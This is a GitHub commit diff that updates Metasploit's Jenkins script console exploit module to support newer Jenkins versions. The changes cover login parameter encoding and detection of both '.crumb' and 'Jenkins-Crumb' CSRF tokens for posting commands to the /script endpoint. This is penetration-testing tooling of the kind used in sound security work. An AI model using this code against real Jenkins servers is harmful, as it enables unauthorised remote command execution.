Skip to content

Commit ca5610c

Browse files
committed
Land rapid7#7511, Update jenkins_script_console to support newer versions
2 parents 5ed030f + ccce361 commit ca5610c

File tree

1 file changed

+10
-7
lines changed

1 file changed

+10
-7
lines changed

modules/exploits/multi/http/jenkins_script_console.rb

Lines changed: 10 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -78,15 +78,15 @@ def on_new_session(client)
7878
def http_send_command(cmd, opts = {})
7979
request_parameters = {
8080
'method' => 'POST',
81-
'uri' => normalize_uri(@uri.path, "script"),
81+
'uri' => normalize_uri(@uri.path, 'script'),
8282
'vars_post' =>
8383
{
8484
'script' => java_craft_runtime_exec(cmd),
8585
'Submit' => 'Run'
8686
}
8787
}
8888
request_parameters['cookie'] = @cookie if @cookie != nil
89-
request_parameters['vars_post']['.crumb'] = @crumb if @crumb != nil
89+
request_parameters['vars_post'][@crumb[:name]] = @crumb[:value] unless @crumb.nil?
9090
res = send_request_cgi(request_parameters)
9191
if not (res and res.code == 200)
9292
fail_with(Failure::Unknown, 'Failed to execute the command.')
@@ -159,8 +159,8 @@ def exploit
159159
'uri' => normalize_uri(@uri.path, "j_acegi_security_check"),
160160
'vars_post' =>
161161
{
162-
'j_username' => Rex::Text.uri_encode(datastore['USERNAME'], 'hex-normal'),
163-
'j_password' => Rex::Text.uri_encode(datastore['PASSWORD'], 'hex-normal'),
162+
'j_username' => datastore['USERNAME'],
163+
'j_password' => datastore['PASSWORD'],
164164
'Submit' => 'log in'
165165
}
166166
})
@@ -177,9 +177,12 @@ def exploit
177177
print_status('No authentication required, skipping login...')
178178
end
179179

180-
if (res.body =~ /"\.crumb", "([a-z0-9]*)"/)
181-
print_status("Using CSRF token: '#{$1}'")
182-
@crumb = $1
180+
if res.body =~ /"\.crumb", "([a-z0-9]*)"/
181+
print_status("Using CSRF token: '#{$1}' (.crumb style)")
182+
@crumb = {:name => '.crumb', :value => $1}
183+
elsif res.body =~ /crumb\.init\("Jenkins-Crumb", "([a-z0-9]*)"\)/
184+
print_status("Using CSRF token: '#{$1}' (Jenkins-Crumb style)")
185+
@crumb = {:name => 'Jenkins-Crumb', :value => $1}
183186
end
184187

185188
case target['Platform']

0 commit comments

Comments
 (0)